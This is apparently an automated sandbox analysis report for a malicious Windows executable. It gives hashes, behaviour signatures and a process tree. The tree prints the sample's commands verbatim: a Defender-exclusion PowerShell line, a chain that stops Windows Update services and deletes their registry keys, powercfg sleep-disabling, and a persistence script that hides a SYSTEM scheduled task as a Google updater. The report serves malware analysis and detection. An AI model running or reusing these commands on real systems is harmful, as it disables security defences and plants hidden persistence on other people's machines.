Analysis

  • max time kernel
    101s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-03-2023 14:31

General

  • Target

    251658deca6970f2412e182eca1aff5b.bin.exe

  • Size

    6.4MB

  • MD5

    251658deca6970f2412e182eca1aff5b

  • SHA1

    7be806a1ef3839e2a772f2c13c8bf6f13b77eb70

  • SHA256

    f2cbacd915456e47e8801353dce4cfdbfe2aeeaf6d5a8adaeaa325d0c30d00fc

  • SHA512

    adfe6a8072ee47b64880fb5b59d36372f9ef1112420bcadf8fea68e30289e94f5412a0c5f70ceff55c3fcb33e065a078b3532ed46619bc038e41ca1f8850b38d

  • SSDEEP

    49152:hEwUKsFMIow42dH3zMJccuI/MEUjAkgxKoiogSogsfAC0h3Q18A3XwEdPTSqCuv0:1

Score
10/10

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 45 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3160
      • C:\Users\Admin\AppData\Local\Temp\251658deca6970f2412e182eca1aff5b.bin.exe
        "C:\Users\Admin\AppData\Local\Temp\251658deca6970f2412e182eca1aff5b.bin.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3744
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Drops file in Drivers directory
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          PID:3816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1664
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1224
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:2416
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:1940
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:4256
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:376
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:332
        • C:\Windows\System32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
          3⤵
            PID:1836
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
            3⤵
              PID:2144
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
              3⤵
              • Modifies security service
              PID:3744
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
              3⤵
                PID:4376
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                3⤵
                  PID:3240
              • C:\Windows\System32\cmd.exe
                C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3328
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -hibernate-timeout-ac 0
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4600
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -hibernate-timeout-dc 0
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4612
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -standby-timeout-ac 0
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2508
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -standby-timeout-dc 0
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4952
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iccvflmn#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1396
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ccdfe#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:816
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                  3⤵
                    PID:3936
              • C:\Program Files\Google\Chrome\updater.exe
                "C:\Program Files\Google\Chrome\updater.exe"
                1⤵
                • Executes dropped EXE
                PID:4852

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Program Files\Google\Chrome\updater.exe

                Filesize

                121KB

                MD5

                e9c3ec13a9c77b393692d748d8eb83ce

                SHA1

                729e44ce32bc0709642eb79c46bd8c3e9f91232b

                SHA256

                3682f6c9357e653150b1b7a96c30347e1abfa368a356db7c65a4c805f4eeb25e

                SHA512

                f1bdcc7cded610b6821b8a322546864495dbd371ebed3fbe683bc3e3751ed57c6ecfdfe8fe701c77d9e1ee698406cb9d1c7b4e15b079f89a430895343ab51e79

              • C:\Program Files\Google\Chrome\updater.exe

                Filesize

                121KB

                MD5

                e9c3ec13a9c77b393692d748d8eb83ce

                SHA1

                729e44ce32bc0709642eb79c46bd8c3e9f91232b

                SHA256

                3682f6c9357e653150b1b7a96c30347e1abfa368a356db7c65a4c805f4eeb25e

                SHA512

                f1bdcc7cded610b6821b8a322546864495dbd371ebed3fbe683bc3e3751ed57c6ecfdfe8fe701c77d9e1ee698406cb9d1c7b4e15b079f89a430895343ab51e79

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                2e907f77659a6601fcc408274894da2e

                SHA1

                9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

                SHA256

                385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

                SHA512

                34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                0d28e0c9fe4439db985e3a7e3c6055d7

                SHA1

                484c5ab56151138115cb5cedc1f2a7e4543ecf30

                SHA256

                c80a22a06ec7f853a86f59eed3626b842465e153ec80c893e3414a4aed26c3a4

                SHA512

                5b4576a36aad30c0311d270f102ff91ac9253d042e96a81d19128bdea249f68fb571492bcd9323f072d193625a9b95824204d9e7342690f47f718aea14e8f562

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_niws2coz.yhq.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • memory/816-172-0x00000217EBEC0000-0x00000217EBED0000-memory.dmp

                Filesize

                64KB

              • memory/816-171-0x00000217EBEC0000-0x00000217EBED0000-memory.dmp

                Filesize

                64KB

              • memory/1396-167-0x0000018AA7460000-0x0000018AA7470000-memory.dmp

                Filesize

                64KB

              • memory/1396-165-0x0000018AA7460000-0x0000018AA7470000-memory.dmp

                Filesize

                64KB

              • memory/1396-166-0x0000018AA7460000-0x0000018AA7470000-memory.dmp

                Filesize

                64KB

              • memory/3744-133-0x000001F5D7CE0000-0x000001F5D8352000-memory.dmp

                Filesize

                6.4MB

              • memory/3744-136-0x000001F5D86E0000-0x000001F5D86F0000-memory.dmp

                Filesize

                64KB

              • memory/3744-135-0x000001F5F4050000-0x000001F5F4072000-memory.dmp

                Filesize

                136KB

              • memory/3744-134-0x000001F5D86E0000-0x000001F5D86F0000-memory.dmp

                Filesize

                64KB

              • memory/3816-141-0x0000000140000000-0x0000000140398000-memory.dmp

                Filesize

                3.6MB

              • memory/3816-170-0x0000000140000000-0x0000000140398000-memory.dmp

                Filesize

                3.6MB

              • memory/3816-140-0x0000000140000000-0x0000000140398000-memory.dmp

                Filesize

                3.6MB

              • memory/3816-137-0x0000000140000000-0x0000000140398000-memory.dmp

                Filesize

                3.6MB